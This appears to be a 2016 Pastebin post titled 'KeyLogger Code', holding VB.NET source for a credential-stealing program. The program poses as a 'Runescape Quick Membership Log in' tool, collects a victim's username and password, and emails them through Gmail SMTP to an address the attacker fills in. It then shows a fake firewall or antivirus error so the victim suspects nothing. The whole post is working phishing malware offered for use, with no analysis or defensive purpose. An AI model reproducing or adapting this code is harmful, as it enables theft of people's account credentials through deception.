djamollive

KeyLogger Code

Aug 28th, 2016
88
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
VB.NET 1.79 KB | None | 0 0
  1. Imports System.Net.Mail
  2. Public Class Form1
  3.  
  4.     Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
  5.         Dim MyMailMessage As New MailMessage
  6.         Try
  7.             If TextBox1.Text & TextBox2.Text = "" Then
  8.                 Call MsgBox("Please Enter A User Name and Password!", , "Error!")
  9.             End If
  10.             MyMailMessage.From() = New MailAddress("xxxx") 'Replace The X's with your GMAIL Address
  11.             MyMailMessage.To.Add("xxxx") 'Replace The X's with your GMAIL Address
  12.             MyMailMessage.Subject = "Account Information"
  13.             MyMailMessage.Body = "Username: " & (TextBox1.Text) & " Password: " & (TextBox2.Text)
  14.             Dim SMTP As New SmtpClient("smtp.gmail.com")
  15.             SMTP.Port = 587
  16.             SMTP.EnableSsl = True
  17.             SMTP.Credentials = New System.Net.NetworkCredential("xxxx", "yyyy") 'Replace the X's with your GMAIL Address, Replace the Y's with your GMAIL Password
  18.             SMTP.Send(MyMailMessage)
  19.             'The Below Message is the Fail Message they get, during this message it will email the information to your email
  20.             Call MsgBox("Something is blocking this program. Please Check If your Firewall or AntiVirus Is Blocking It", , "Runescape Quick Membership Log in")
  21.         Catch ex As Exception
  22.             'If The Program Does Run Into An Actually Real Error The Following Will Occur and close the program
  23.             Call MsgBox("There Was a Fatal Error Loading The Quick Login Component's Please Re-Install The Program"(MsgBoxStyle.Critical))
  24.             Application.Exit()
  25.         End Try
  26.     End Sub
  27.  
  28.     Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
  29.         Me.Close()
  30.     End Sub
  31. End Class
Add Comment
Please, Sign In to add comment